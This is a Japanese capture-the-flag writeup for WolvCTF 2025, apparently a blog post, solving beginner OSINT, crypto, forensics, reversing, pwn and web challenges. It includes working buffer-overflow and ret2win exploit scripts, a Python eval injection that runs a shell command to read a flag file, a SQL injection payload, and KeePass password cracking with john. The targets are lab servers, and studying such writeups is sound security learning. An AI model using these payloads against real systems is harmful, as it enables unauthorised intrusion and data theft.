1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

WolvCTF_2025 writeup

Posted at

WolvCTF 2025

Jeopardy
2025/3/21, 23:00 UTC — 20253/23, 23:00 UTC

Wintery

As the snow has once again started to fall, I spotted a flag afar. Can you find where this picture was taken? Truncate your coordinates to 3 decimal places.

Flag format: wctf{latitude,longitude}

image.png

写真からわかる以下の情報をもとにGoogleMapで探す

  • Michigan Unionの旗
  • 右下に屋根がある

South Quadrangleが当てはまると分かる

flag

wctf{42.27386,-83.74194}

Lost

I need your help. My friend Jimmy has absolutely zero sense of direction and may or may not have gotten himself lost. Like, super duper lost. All I know is his flight should’ve taken off from somewhere in the US at 12:59 PM on March 17th, and this picture that he sent me. Can you tell me what flight he is on? (Flag format: wctf{XX####}, use IATA airline code)

image.png

わかること

  • 空港
  • タワーがある
  • 大きなFedExの建物がある
  • FedExの建物の横に道路みたいなものがある

3月7日午後1時26分/1時27分 (東部標準時)、その時間にEWRを出発したのはUA2050便

flag

wctf{UA2050}

Beginner

以下のJWTが与えられる
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InNhbSIsImlzQWRtaW4iOmZhbHNlLCJpYXQiOjE3Mzg4ODc2OTQsImV4cCI6MTczODg4OTQ5NH0.KrRwMea_fXtfp-IbvFCn3Q-HiNVMitips0SVxODfGJc

image.png

/TOKEN_SECRET.txt
fa43623fc456bf3a62ea923f4e7a009f0aeec4a0032670ed6fc90bd268e4c62c896699572b914cb15806695fcb1f6eb3141c9bc86a87cca1bda98e1429aa902b

image.png

wctf{jw7_l34rn1n6_15_fun_135624154}

DigginDir

Author: carmengh
So I tripped on an uneven sidewalk today.... and I dropped the flag somewhere (oops). It's gotta be here somewhere..... right?

Unlock Hint for 0 points
I wish there was a linux utility that let me search for stuff...

解凍すると以下のようなものが沢山出てくる

┌──(kali㉿kali)-[/media/…/ctf/WolvCTF_2025/Beginner/fore]
└─$ tar -xzvf dist.tar.gz
challenge/
challenge/0Egu9cCmH2tWMB48Uiw1N1Jfm/
challenge/0Egu9cCmH2tWMB48Uiw1N1Jfm/file.txt
challenge/0ghc6cHZYcqBUw1RrmWFmGKJK/
challenge/0ghc6cHZYcqBUw1RrmWFmGKJK/file.txt
challenge/0p82csvfHLnuwY8b6Cu9vK7LW/
challenge/0p82csvfHLnuwY8b6Cu9vK7LW/file.txt
challenge/0XYH4DKRibzfdJcnv5QtLBclk/
challenge/0XYH4DKRibzfdJcnv5QtLBclk/file.txt
challenge/13hyqkkQnjrV9LcXzdP8mUIf1/
challenge/13hyqkkQnjrV9LcXzdP8mUIf1/file.txt
challenge/1L1h3xlvFIMRTsnPEZWEv0X4K/
challenge/1L1h3xlvFIMRTsnPEZWEv0X4K/file.txt
challenge/29Lw3QDk6tF1stuax3U0Dn2EK/
challenge/29Lw3QDk6tF1stuax3U0Dn2EK/file.txt

solve

grepで行けるんじゃないかと思いやるとできた

ディレクトリ内のすべてのファイルを検索し、wctf{を含む部分を出力

┌──(kali㉿kali)-[/media/…/WolvCTF_2025/Beginner/fore/challenge]
└─$ grep -r "wctf{" *
EUOlptwlpqPt5qrGlMnFpbat6/.secret:wctf{0h_WOW_tH@Nk5_yOu_f0U^d_1t_xD}

flag

wctf{0h_WOW_tH@Nk5_yOu_f0U^d_1t_xD}

EtTuCaesar - Crypto

Caesar has left a you a note encrypted with his favorite cipher, but he seems to have jumbled things even further. Can you restore his message?
What if I put the note in the shape of a square?

与えられたもの
tzc3Sq{k!ss!a!__FZ!!_!11}

solve

ROTで3にするとwcf3Vt{n!vv!d!__IC!!_!11}が現れる

5文字ずつに並べると正方形になる、左上から斜めに↙このように読むと分かる

wcf3V
t{n!v
v!d!_
_IC!!
_!11}

flag

wctf{v3n!_V!dI_v!C!_1!1}

OverAndOver - Crypto

You found a strange string that seems to be encoded with base64... yet still scrambled after decoding...

encode.txtが与えられるのでfrom base64を繰り返す(17回くらい繰り返すと出てくる)

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV0ZKdGVGWlZNakExVmpBeFYySkVUbGhoTWsweFZtcEtTMUl5U2tWVWJHaG9UVmhDVVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFjVkZ0UmxSTmF6RTFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1pFWlNUbFpYZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm1wT1QwMHhjRlpYYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHdlR0l4U2tkWGJHUllZbFZhY2xWcVJtRlRSbGw1VFZSU1ZrMXJjRWxhU0hCSFZqSkZlVlZZWkZwbGEzQklXWHBHVDJSV1ZuUmhSazVzWWxob1dGWnRNSGRsUjBsNFUydGtXR0pIVWxsWmJHaFRWMFpTVjJGRlRsTmlSbkJaV2xWb2ExWXdNVVZTYTFwV1lrWktSRlpxU2tkamJVVjZZVVphYUdFeGNHOVdha0poVkRKT2RGSnJaRmhpVjJoeldXeG9iMkl4V25STldHUlZUVlpXTlZWdGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSVkZyT1dsU00yaFlWbXBLTkZReFdsaFRhMlJxVW0xNGFGVXdhRU5TUmxweFVWaG9hMVpzV2pGV01uaHJZVWRGZWxGcmJGZFdNMEpJVmtSS1UxWXhWblZWYlhCVFlYcFdXVlpYY0U5aU1rbDRWMWhvWVZKR1NuQlVWbHBYVGtaYVdHUkhkRmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZsNlJsZGpiSEJIWVVkc1UwMHhSalpXYWtvd1ZURlZlRmR1U2s1WFJYQnhWV3hrTkdGR1ZYZGhSVTVVVW14d2VGVXlkR0ZpUmxwelYyeHdXR0V4Y0ROWmEyUkdaV3hHY21KR1pHbFhSVXBKVm10U1MxVXhXWGhYYmxaVllrZG9jRlpxU205bGJHUllaVWM1YVUxcmJEUldNalZUVkd4a1NGVnNXbFZXYkhCWVZHeGFWMlJIVWtoa1JtUk9WakZLU2xkV1ZtRmpNV1IwVTJ0a1dHSlhhR0ZVVmxwM1ZrWmFjVkp0ZEd0U2EzQXdXbFZhYTJGV1NuTmhNMmhYWVRGd2FGWlVSbFpsUm1SMVUyczFXRkpZUW5oV1Z6QjRZakZaZUZWc2FFOVdhelZ6V1d0YWQyVkdWWGxrUkVKWFRWWndlVll5ZUhkWGJGcFhZMGRvV21FeVVrZGFWV1JQVTFkS1IxcEdaRk5XV0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YUZWdE1XOWpSbHB4VkcwNVYxWnRVbGhXVjNNMVZXc3hXRlZyYUZkTmFsWlVWa2Q0WVZKc1RuTmhSbFpYVFRKb1NWWkhlR0ZaVm1SR1RsWmFVRlp0YUZSVVZXaERVMnhhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZteHdNMWxWV25kU2JIQkhWR3hTVTJFelFqVldSM2hoVkRKR1YxTnVVbEJXUlRWWVZGYzFiMWRHWkZkWGJFcHNWbXR3ZVZkcldtOWhWMFkyVm01b1YxWkZTbkpVYTFwclVqRldjMXBHYUdoTk1VcFdWbGN4TkdReVZrZFdibEpPVmxkU1YxUlhkSGRXTVd4eVZXMUdXRkl3VmpSWk1HaExWMnhhV0ZWclpHRldWMUpRVlRCVk5WWXlSa2hoUlRWWFltdEtNbFp0TVRCVk1VMTRWVmhzVlZkSGVGWlpWRVozWVVaV2NWTnRPVmRTYkVwWlZGWmpOV0pIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFoxWTBaa1RsWXlhREpXYWtKclV6RmtWMVp1U2xCV2JIQnZXVlJHZDFOV1draGxSMFphVm0xU1IxUnNXbUZWUmxsNVlVaENWbUpIYUVOYVJFWmhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1YQllaVWhLYkZaVVJsZFhhMXBQWVZaS2NtTkVXbGRoTWs0MFdYcEdWbVZXVG5WVGJGSnBWbFp3V1ZaR1l6RmlNV1JIV2taa1dHSkZjSE5WYlRGVFpXeHNWbGRzVG1oV2EzQXhWVmMxYjFZeFdYcGhTRXBYVmtWYWVsWnFSbGRqTVdSellVZHNWMVp1UWpaV01XUXdXVmRSZVZaclpGZFhSM2h5Vld0V1MxZEdVbGRYYm1Sc1ZteHNOVnBWYUd0WFIwcEhZMFpvV2sxSGFFeFdha3BIWTJ4a2NtVkdaR2hoTTBKUlZsZHdSMWxYVFhsU2EyUm9VbXhLVkZac2FFTlRNVnB4VW0xR1ZrMVZNVFJXYkdodlYwWmtTR0ZIYUZaTlJuQm9WbTE0YzJOc1pISmtSM0JUWWtoQ05GWlVTWGRPVjBwSVUydG9WbUpIZUdoV2JHUk9UVlpzVjFaWWFGaFNiRnA1V1ZWYWExUnRSbk5YYkZaWFlUSlJNRlY2Umt0ak1YQkpWbXhTYVZKc2NGbFhWM1J2VVRBMWMxZHJhR3hTTUZwaFZtMHhVMUl4VW5OWGJVWldVbXh3TUZaWGN6VldNa1p5VjJ0NFZrMXVhSEpXYWtaaFpFWktkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMFpVaGtUazFYZUZkV01qVnJWVEpLU1ZGcmFGZFNNMmhVVm1wS1MyTnNUbkpoUm1SVFRUSm9iMVpyVWt0U01XUkhVMnhzWVZJelFsUldhazV2VjFaa1dHVkhPVkpOVlRFMFZsZDRhMWxXU2xkalNFNVdZbFJHVkZZeWVHdGpiRnBWVW14b1UyRXpRbUZXVm1NeFlqRlplRmRZY0doVFJYQmhXVmQwWVdWc1duRlNiR1JxVFZkU2VsbFZaRzlVYXpGV1kwUktWMkpIVGpSVWEyUlNaVlphY2xwR1pHbGlSWEJRVm0xNGExVXlTWGhWYkdSWFltMVNjMWxyV25OT1ZuQldXa1ZrVjAxcmNFaFphMUpoVjJ4YVdHRkZlRmROYm1ob1ZqQmFWMk5zY0VoU2JHUlhUVlZ3VWxac1pIZFNNV3hZVkZoc1UyRXlVbTlWYlhoTFZrWmFjMkZGVGxSTlZuQXdWRlpTUTFack1WWk5WRkpYVm0xb2VsWnNXbXRUUjBaSVlVWmFUbEp1UW05V2JURTBZekpPYzFwSVNtdFNNMEpVV1d0YWQwNUdXbGhOVkVKT1VteHNORll5TlU5aGJFcFlZVVpvVjJGck5WUldSVnB6VmxaR1dXRkdUbGRoTTBJMlZtdGtORmxXVlhsVGExcFlWMGhDV0Zac1duZFNNVkY0VjJ0T1ZtSkZTbFpVVlZGM1VGRTlQUT09

flag

wctf{bA5E_tWo_p0W_s!X}

p0wn3d - Pwn

An introduction to pwn challenges. This is to protect the babies from last year!

nc p0wn3d.kctf-453514-codelab.kctf.cloud 1337

main.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct __attribute__((__packed__)) data {
  char buf[32];
  int guard;
};

void ignore(void)
{
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
}

void get_flag(void)
{
  char flag[1024] = { 0 };
  FILE *fp = fopen("flag.txt", "r");
  fgets(flag, 1023, fp);
  printf(flag);
}

int main(void) 
{
  struct data first_words;
  ignore(); /* ignore this function */

  printf("Hello little p0wn3r. Do you have any first words?\n");
  fgets(first_words.buf, 64, stdin);
  sleep(2);
        puts("Man that is so cute");
        sleep(2);
        puts("I remember last year people were screaming at the little p0wn3rs.. like AAAAAAAAAAAAAAAAAAAAAAAAAAAAA!");
        sleep(2);
        puts("Don't worry little one. I won't let them do that to you. I've set up a guard");

  if (first_words.guard == 0x42424242) {
    get_flag();
  }

  return 0;
}

solve

バッファオーバーフローの脆弱性がある

  • fgets で first_words.buf に 64 バイトまで入力を受け付けていますが、buf は 32 バイトしか確保されていません。これにより、guard の値が不正に変更され、get_flag() 関数が呼ばれる

  • 32バイト分guardを埋めて、0x42424242(リトルエンディアン)を満たせばいい

$ python3 -c "print('A'*32 + '\x42\x42\x42\x42')" | nc p0wn3d.kctf-453514-codelab.kctf.cloud 1337
== proof-of-work: disabled ==
Hello little p0wn3r. Do you have any first words?
Man that is so cute
I remember last year people were screaming at the little p0wn3rs.. like AAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Don't worry little one. I won't let them do that to you. I've set up a guard
wctf{pwn_1s_l0v3_pwn_1s_l1f3}

flag

wctf{pwn_1s_l0v3_pwn_1s_l1f3}

p0wn3d_2 - Pwn

You can scream... Whatever. Can you be precise tho?

nc p0wn3d2.kctf-453514-codelab.kctf.cloud 1337

解凍する

└─$ tar -xzvf dist.tar.gz
chal
main.c

main.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct __attribute__((__packed__)) data {
  char buf[32];
  int guard1;
        int guard2;
};

void ignore(void)
{
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
}

void get_flag(void)
{
  char flag[1024] = { 0 };
  FILE *fp = fopen("flag.txt", "r");
  fgets(flag, 1023, fp);
  printf(flag);
}

int main(void) 
{
  struct data second_words;
  ignore(); /* ignore this function */

  printf("I can't believe you just did that. Do you have anything to say for yourself?\n");
  fgets(second_words.buf, 64, stdin);
  sleep(2);
        puts("Yeah Yeah whatever");
        sleep(2);
        puts("I've got two guards now, what are you gonna do about it?");
        sleep(2);

  if (second_words.guard1 == 0xdeadbeef && second_words.guard2 == 0x0badc0de) {
    get_flag();
  }

  return 0;
}

分析

  • buf が 32 バイト、guard1 と guard2 がそれぞれ 4 バイトとして定義
  • fgets(second_words.buf, 64, stdin)で、32バイトのバッファに対して64バイトまで読み込もうとしている

solve

バッファオーバーフローを利用する

  • Aを32バイト送信してbufを埋める
  • 次の4バイトにguard1の値(0xdeadbeef)をリトルエンディアン形式で設定
  • 続く4バイトにguard2の値(0x0badc0de)をリトルエンディアン形式で設定
#!/usr/bin/env python3
from pwn import *

conn = remote('p0wn3d2.kctf-453514-codelab.kctf.cloud', 1337)

# エクスプロイトペイロードを構築
payload = b'A' * 32  # bufを埋める
payload += p32(0xdeadbeef)  # guard1 (リトルエンディアン)
payload += p32(0x0badc0de)  # guard2 (リトルエンディアン)

# 最初のプロンプトを読み込む
print(conn.recvline().decode())

# ペイロードを送信
conn.sendline(payload)

print(conn.recvall().decode())

出力

$$ python3 solve.py
[+] Opening connection to p0wn3d2.kctf-453514-codelab.kctf.cloud on port 1337: Done
== proof-of-work: disabled ==

[+] Receiving all data: Done (188B)
[*] Closed connection to p0wn3d2.kctf-453514-codelab.kctf.cloud port 1337
I can't believe you just did that. Do you have anything to say for yourself?
Yeah Yeah whatever
I've got two guards now, what are you gonna do about it?
wctf{4ll_y0uR_mEm_4r3_bel0ng_2_Us}

flag

wctf{4ll_y0uR_mEm_4r3_bel0ng_2_Us}

p0wn3d_3 - Pwn

Time for a little bit of control flow redirection

nc p0wn3d3.kctf-453514-codelab.kctf.cloud 1337
Unlock Hint for 0 points
Hint: look up what ret2win is

与えられたソースコード

#include <stdio.h>
#include <string.h>
#include <unistd.h>



void ignore(void)
{
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
}

void get_flag(void)
{
	 char *args[] = {"/bin/cat", "flag.txt", NULL};
   execve(args[0], args, NULL);
}

int main(void) 
{
	char buf[32];
  ignore(); /* ignore this function */

  printf("Now this is an original challenge. I don't think I've ever seen something like this before\n");
  sleep(2);
	gets(buf);
	puts("Drumroll please!");
	sleep(2);

  return 0;
}

solve

ret2winの脆弱性を利用する

スタックオーバーフローを利用して、リターンアドレスを書き換え、プログラムの正常な実行フローから特定のwin関数(この場合はget_flag())にリダイレクトする手法

  • gets(buf)関数が使用されていて、長さチェックがないためバッファオーバーフロー脆弱性がある
  • bufは32バイトしかありませんが、getsは入力の長さを制限してない
  • get_flag()関数があり、呼び出されれば/bin/cat flag.txtを実行してフラグを表示する
[ スタック構造 ]
| AAAA.... (32バイト)  |  ← バッファ (buf)
| Saved RBP (8バイト)  |  ← 上書き可能
| Return Address (8バイト) |  ← ここを書き換えれば制御可能!

リターンアドレスget_flag()のアドレスを調べる

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  execve@plt
0x0000000000401050  gets@plt
0x0000000000401060  setvbuf@plt
0x0000000000401070  sleep@plt
0x0000000000401080  _start
0x00000000004010b0  _dl_relocate_static_pie
0x00000000004010c0  deregister_tm_clones
0x00000000004010f0  register_tm_clones
0x0000000000401130  __do_global_dtors_aux
0x0000000000401160  frame_dummy
0x0000000000401162  ignore
0x00000000004011a5  get_flag
0x00000000004011e0  main
0x0000000000401230  __libc_csu_init
0x0000000000401290  __libc_csu_fini
0x0000000000401294  _fini
(gdb) exit

0x4011a5がリターンアドレスget_flagと分かった

出力

$ python3 solve.py
[+] Opening connection to p0wn3d3.kctf-453514-codelab.kctf.cloud on port 1337: Done
== proof-of-work: disabled ==

[*] Switching to interactive mode
Drumroll please!
wctf{gr4dua73d_fr0m_l1ttl3_p0wn3r!}
[*] Got EOF while reading in interactive

flag

wctf{gr4dua73d_fr0m_l1ttl3_p0wn3r!}

PicturePerfect - Forensics

Wow what a respectful, happy looking lad! Hmmmmmmm, all I see is a snowman... maybe some details from the image file itself will lead us to the flag.

hi_snowman.jpgが与えられるのでメタデータ確認する

┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/forensic]
└─$ exiftool hi_snowman.jpg 
ExifTool Version Number         : 12.76
File Name                       : hi_snowman.jpg
Directory                       : .
File Size                       : 4.1 MB
File Modification Date/Time     : 2025:03:23 12:36:46+09:00
File Access Date/Time           : 2025:03:23 13:09:35+09:00
File Inode Change Date/Time     : 2025:03:23 12:36:46+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 96
Y Resolution                    : 96
Exif Byte Order                 : Big-endian (Motorola, MM)
Padding                         : (Binary data 268 bytes, use -b option to extract)
XMP Toolkit                     : Image::ExifTool 11.88
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Title                           : wctf{d0_yOU_w@nt_t0_BUiLd_a_Sn0Wm@n}
Image Width                     : 3024
Image Height                    : 4032
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3024x4032
Megapixels                      : 12.2

flag

wctf{d0_yOU_w@nt_t0_BUiLd_a_Sn0Wm@n}

REdata - Rev

An eZ RE challenge.

dist.tar.gzが与えられるので解凍する

┌──(kali㉿kali)-[/media/…/ctf/WolvCTF_2025/Beginner/rev2]
└─$ ls
dist.tar.gz  redata

stringsで行けた

┌──(kali㉿kali)-[/media/…/ctf/WolvCTF_2025/Beginner/rev2]
└─$ strings redata | grep ctf{
wctf{n0_w4y_y0u_f0unD_1t!}

flag

wctf{n0_w4y_y0u_f0unD_1t!}

REverse

I hate when when RE challenges just make me do something backwards...

解凍する

┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ tar -xzvf dist.tar.gz
reverse
out.txt
                                                                                                                    
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ ls
dist.tar.gz  out.txt  reverse
                                                                                                                    
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ cat out.txt 
Mixed Flag: t`qcxo0s0o2.kd\.k\o0s0o20z
                                                                                                                    
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ cat reverse 
@@@@�▒▒▒��   DD�-�=�=���-�=�=�8880hhhDDS

https://dogbolt.org/
このサイトでreverseデコンパイルすると

  • Mixed Flag: t`qcxo0s0o2.kd.k\o0s0o20z
  • 与えられた文字列(flag.txtから読み取ったデータ)に対して「文字のシフト」と「文字の入れ替え」を行う処理が行われているっぽい

solve

シーザー暗号の総当たり攻撃のスクリプト書いて実行するとShift 92でflagゲットできた

GPTが書いたスクリプトは以下

シーザー暗号では、文字をシフトして暗号化します。例えば、'A'を1シフトすると'B'になります。
上記のコードでは、総当たりでシーザー暗号の復号化を行いました。これは、暗号化されているテキストを1シフトから94シフトまで順番に試して、どれが正しいフラグを返すか確認する方法です。
シフトの範囲は、通常のシーザー暗号において、ASCIIコードで表示可能な文字(32〜126)のシフトで行いました。シフト範囲は通常1〜94です。

def caesar_decrypt(ciphertext, shift):
    # シーザー暗号の復号化(指定したシフト分)
    decrypted_text = ''.join(
        [chr(((ord(c) - 32 - shift) % 95) + 32) if 32 <= ord(c) <= 126 else c for c in ciphertext]
    )
    return decrypted_text

def brute_force_caesar(ciphertext):
    # すべてのシフトを試して復号化
    for shift in range(1, 95):  # 1から94までのシフトを試す(ASCII 32〜126の範囲)
        decrypted = caesar_decrypt(ciphertext, shift)
        print(f"Shift {shift}: {decrypted}")

# 混ぜ合わせたフラグ(例: "t`qcxo0s0o2.kd\\.k\\o0s0o20z")
ciphertext = "t`qcxo0s0o2.kd\\.k\\o0s0o20z"

# 総当たり
brute_force_caesar(ciphertext)

出力

Shift 88: {gxj v7z7v95rkc5rcv7z7v97"
Shift 89: zfwi~u6y6u84qjb4qbu6y6u86!
Shift 90: yevh}t5x5t73pia3pat5x5t75 
Shift 91: xdug|s4w4s62oh`2o`s4w4s64~
Shift 92: wctf{r3v3r51ng_1n_r3v3r53}
Shift 93: vbsezq2u2q40mf^0m^q2u2q42|
Shift 94: uardyp1t1p3/le]/l]p1t1p31{

flag

wctf{r3v3r51ng_1n_r3v3r53}

Eval is Evil

If eval is so bad, then why is it so easy to use?
nc evalisevil.kctf-453514-codelab.kctf.cloud 1337

chall.py

import random

def main():
    
    print("Let's play a game, I am thinking of a number between 0 and", 2 ** 64, "\n")

    try:
        guess = eval(input("What is the number?: "))
    except:
        guess = 0

    correct = random.randint(0, 2**64)
    
    if (guess == correct):
        print("\nCorrect! You won the flag!")
        flag = open("flag.txt", "r").readline()
        print(flag)
    else:
        print("\nYou lost lol")

main()
  • eval(input("What is the number?: ")) で入力を評価
  • ランダムな数値 correct が生成され、入力した値と比較
  • 一致すれば flag.txt からフラグが表示される

solve

  • eval() 関数を使っているので、数字以外の任意のPythonコードを実行できる

__import__('os').system('cat flag.txt')
osモジュールをインポートして、シェルコマンド cat flag.txt を実行し、フラグを直接表示させる

$ nc evalisevil.kctf-453514-codelab.kctf.cloud 1337
== proof-of-work: disabled ==
Let's play a game, I am thinking of a number between 0 and 18446744073709551616 

What is the number?: __import__('os').system('cat flag.txt')
wctf{Why_Gu3ss_Wh3n_Y0u_C4n_CH34T}

flag

wctf{Why_Gu3ss_Wh3n_Y0u_C4n_CH34T}

Sanity Check

check out our discord!
the flag is the topic of the #faq channel

flag

wctf{m1chigan_NCAA_champi0ns_inc0ming}
image.png

Irregularity

I'd like you to show me the push-down automata for this one

// im so sorry
let r = /^wctf{(((?=(.{5}4))(((?=(.{2}g.(l)))(r3)).(?<=(r)..)u\7)).\9).{12}(\x5f)(?<=(\1(?:\10)(?:((?=(.{2}p[^-]([^-])5))(3x)).((?=(.{2}(\x355)))(((?=(.3))r)))...3{0,0}))(\x31)(0)n5.)m\23{1,1}(?=.(..))\8_l(\22)k(?:\24)\25r(?=\11).{8}[\w\d]{7}i..s(?<=\23n.)_smh_((?=(.{6}(z)((?=(.{2}9))((?<=z)(?=........r)(?<=(K)....).(4)(?<=O.{5}(.).))).TC(?=.b)))(Q.\32(?=.{4}i).E(?=.{9}L)f)).{6}\28...(?<=...U.{12})}$/

let flag = 'wctf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}'

if (r.test(flag)) {
    console.log("yes");
}

flag

wctf{r3gul4r_3xpr35510n5_m0r3_l1k3_1rr3gul4r_3xpr355i0ns_smh_QOKUEfzi49TCzbLr}

Javascript Puzzle

It is often useful to force exceptions to potentially get back valuable information.
Can you make a request which causes an exception in this app?
https://js-puzzle-974780027560.us-east5.run.app

@author: SamXML

┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/web]
└─$ tar -xzvf dist.tar.gz
./
./Dockerfile
./flag.txt
./package-lock.json
./package.json
./docker-compose.yml
./app.js

app.js見てみる

const express = require('express')

const app = express()
const port = 8000

app.get('/', (req, res) => {
    try {
        const username = req.query.username || 'Guest'
        const output = 'Hello ' + username
        res.send(output)
    }
    catch (error) {
        res.sendFile(__dirname + '/flag.txt')
    }
})

app.listen(port, () => {
    console.log(`Server is running at http://localhost:${port}`)
})
  • try-catchブロック内でerrorが発生すると/flag.txtを送信される
  • catch内でres.sendFile(__dirname + '/flag.txt') を実行するため、例外を発生させるとフラグを取得できる可能性がある

solve

  • usernameに特殊な値を渡し、try内でエラーを発生させる
  • toStringでエラーを起こす

burpで/?username[toString]=を送るとflagが返ってきた

flag

wctf{3xc3pt10n5_4r3_y0ur_fr13nd_14285137553}

Limited 1

Can you attack the menu system to read the flag that is in a comment inside the query itself?
(source provided as dist.tar.gz)
Note: This is the first in a series of 3 challenges

initialize.sql

USE ctf;
-- This password is 13 characters and can be found in rockyou.
-- It is the flag for one of the challenges using this source
-- BUT it needs to be wrapped by wctf{} before submitting.
create user 'flag' identified by 'REDACTED_FLAG';

grant select on mysql.user to ctf;

-- The actual name of this table in the host challenge starts with Flag_ but is unguessable.
CREATE TABLE Flag_REDACTED
(
    value VARCHAR(255) NOT NULL
);

INSERT INTO Flag_REDACTED (value) VALUES ('wctf{redacted-flag}');
  • Flag_REDACTEDというテーブルにフラグが保存されている

app.py

  • /query エンドポイント
price = float(request.args.get('price') or '0.00')
price_op = str(request.args.get('price_op') or '>')
limit = str(request.args.get('limit') or '1')

query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu 
            WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
  • price_op の長さチェック(4文字以内)もある。
  • limit には特にフィルタリングがないため、SQLインジェクションの可能性

solve

  • SQLインジェクションの利用する
SELECT /*wctf{redacted-flag}*/ category, name, price, description 
FROM Menu 
WHERE price < /* ORDER BY 1 
LIMIT */ 0 
UNION SELECT 1, (SELECT info FROM information_schema.processlist WHERE id = CONNECTION_ID()), 3, 4 -- 

https://limited-app-974780027560.us-east5.run.app/query?price=10.00&price_op=< /&limit=/ 0 UNION SELECT 1, (SELECT info FROM information_schema.processlist WHERE id = CONNECTION_ID()), 3, 4 --

flag

wctf{bu7_my5ql_h45_n0_curr3n7_qu3ry_func710n_l1k3_p0576r35_d035_25785458}

Passwords

I heard you're a hacker. Can you help me get my passwords back?

database.kdbxというファイルが与えられる

solve

タイトルのpasswordから察しの通りjohn使ってパスワードを求める

┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/forensic]
└─$ john database.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
goblue1          (Database)     
1g 0:00:00:13 DONE 2/3 (2025-03-23 13:16) 0.07246g/s 886.8p/s 886.8c/s 886.8C/s goblue1..gustavo1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

goblue1と分かった

  • .kdbxの開き方について検索する
    KeePass(キーパス)は、パスワードの管理と保護を目的としたフリーでオープンソースのソフトウェア

  • ここからKeePassをインストールする
    https://keepass.info/download.html

インストール完了して、ファイルを開くから与えられたモノを開くとパスワードを求められるのでgoblue1でいけた

HomeBankingの所にflagを発見

flag

wctf{1_th0ught_1t_w4s_s3cur3?}

FeedBack Survey

image.png

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?